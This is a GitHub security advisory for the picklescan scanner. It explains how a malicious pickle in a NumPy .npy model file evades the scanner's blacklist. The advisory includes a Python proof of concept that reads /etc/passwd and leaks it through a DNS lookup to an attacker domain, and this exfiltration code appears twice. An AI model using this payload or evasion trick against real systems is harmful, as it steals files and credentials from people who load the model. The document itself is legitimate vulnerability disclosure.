ghsa-93mv-x874-956g
Vulnerability from github
Summary
Picklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.
Details
picklescan’s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging ssl.get_server_certificate
as the callable function in the pickle payload. Since ssl
is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.
The payload avoids flagged modules and instead uses linecache
(also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to ssl.get_server_certificate
, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.
The payload executes the following steps:
- Reads sensitive local file content using
linecache
module - Encodes the data for DNS exfiltration
- Constructs a malicious domain name using a third party service
dnslog.cn
- Triggers a DNS resolution via
ssl.get_server_certificate
- Leaks the encoded file content to the attacker
PoC
Before running the PoC change the fqdn
to your own or a third party that you control. In this PoC we used fqdn = f"{subdomain}.ctmc2q.dnslog.cn"
.
```python
import numpy as np
def create_malicious_model():
Define the payload class
class DNSLogPayload:
def __reduce__(self):
# Step 1: read a line from /etc/passwd
linecache = __import__("linecache")
first_line = linecache.getline("/etc/passwd", 1).strip()
# Step 2: Sanitize and embed it as a DNS subdomain
subdomain = first_line.replace(":", "_").replace("/", "_")
fqdn = f"{subdomain}.dns-logger.invalid"
# Step 3: Use ssl.get_server_certificate to trigger DNS resolution
ssl_mod = __import__("ssl")
return (getattr(ssl_mod, "get_server_certificate"), ((fqdn, 443),))
# Wrap the payload in a NumPy object array
arr = np.array([DNSLogPayload()], dtype=object)
# Save to .npy file
np.save("dnslog_trigger_payload.npy", arr, allow_pickle=True)
def load_model(model): try: return np.load(model, encoding="latin1", fix_imports=True, allow_pickle=1) except Exception: raise ValueError("Invalid file")
if name == "main": create_malicious_model() model = "dnslog_trigger_payload.npy" print("[i] Loading and executing the model") data = load_model(model)
```
Impact
- Evade detection: Bypasses the latest version of picklescan's blacklist.
- Exfiltrate sensitive local files to an attacker controlled DNS
{ "affected": [ { "package": { "ecosystem": "PyPI", "name": "picklescan" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "0.0.25" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2025-46417" ], "database_specific": { "cwe_ids": [ "CWE-184" ], "github_reviewed": true, "github_reviewed_at": "2025-04-07T18:52:47Z", "nvd_published_at": null, "severity": "HIGH" }, "details": "### Summary\n\nPicklescan does not detect malicious pickles that exfiltrate sensitive information via DNS after deserialization.\n\n\n### Details\n\npicklescan\u2019s blacklist can be bypassed to exfiltrate sensitive information (like file contents, secrets, or credentials) during model deserialization by leveraging `ssl.get_server_certificate` as the callable function in the pickle payload. Since `ssl` is a standard Python library used for legitimate TLS operations, it is rarely blacklisted by static scanners or runtime monitors.\n\nThe payload avoids flagged modules and instead uses `linecache` (also unflagged) to read local files. The exfiltrated data is added to DNS-safe chunks, and embedded as subdomains in a crafted FQDN. When passed to `ssl.get_server_certificate`, the Python runtime performs a DNS resolution to the attacker-controlled domain, leaking the encoded content.\n\nThe payload executes the following steps:\n\n- Reads sensitive local file content using `linecache` module\n- Encodes the data for DNS exfiltration\n- Constructs a malicious domain name using a third party service `dnslog.cn` \n- Triggers a DNS resolution via `ssl.get_server_certificate`\n- Leaks the encoded file content to the attacker\n\n### PoC\n\nBefore running the PoC change the `fqdn` to your own or a third party that you control. In this PoC we used ` fqdn = f\"{subdomain}.ctmc2q.dnslog.cn\"`.\n\n```python\n\nimport numpy as np\n\ndef create_malicious_model():\n# Define the payload class\n class DNSLogPayload:\n def __reduce__(self):\n # Step 1: read a line from /etc/passwd\n linecache = __import__(\"linecache\")\n first_line = linecache.getline(\"/etc/passwd\", 1).strip()\n\n # Step 2: Sanitize and embed it as a DNS subdomain\n subdomain = first_line.replace(\":\", \"_\").replace(\"/\", \"_\")\n fqdn = f\"{subdomain}.dns-logger.invalid\"\n\n # Step 3: Use ssl.get_server_certificate to trigger DNS resolution\n ssl_mod = __import__(\"ssl\")\n return (getattr(ssl_mod, \"get_server_certificate\"), ((fqdn, 443),))\n\n # Wrap the payload in a NumPy object array\n arr = np.array([DNSLogPayload()], dtype=object)\n\n # Save to .npy file\n np.save(\"dnslog_trigger_payload.npy\", arr, allow_pickle=True) \n\ndef load_model(model):\n try:\n return np.load(model, encoding=\"latin1\", fix_imports=True, allow_pickle=1)\n except Exception:\n raise ValueError(\"Invalid file\")\n\nif __name__ == \"__main__\":\n create_malicious_model()\n model = \"dnslog_trigger_payload.npy\"\n print(\"[i] Loading and executing the model\")\n data = load_model(model)\n \n```\n\n### Impact\n\n1. Evade detection: Bypasses the latest version of picklescan\u0027s blacklist. \n2. Exfiltrate sensitive local files to an attacker controlled DNS", "id": "GHSA-93mv-x874-956g", "modified": "2025-04-24T16:02:36Z", "published": "2025-04-07T18:52:47Z", "references": [ { "type": "WEB", "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-93mv-x874-956g" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46417" }, { "type": "WEB", "url": "https://github.com/mmaitre314/picklescan/pull/40" }, { "type": "PACKAGE", "url": "https://github.com/mmaitre314/picklescan" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-34.yaml" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "type": "CVSS_V4" } ], "summary": "Picklescan Vulnerable to Exfiltration via DNS via linecache and ssl.get_server_certificate" }
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.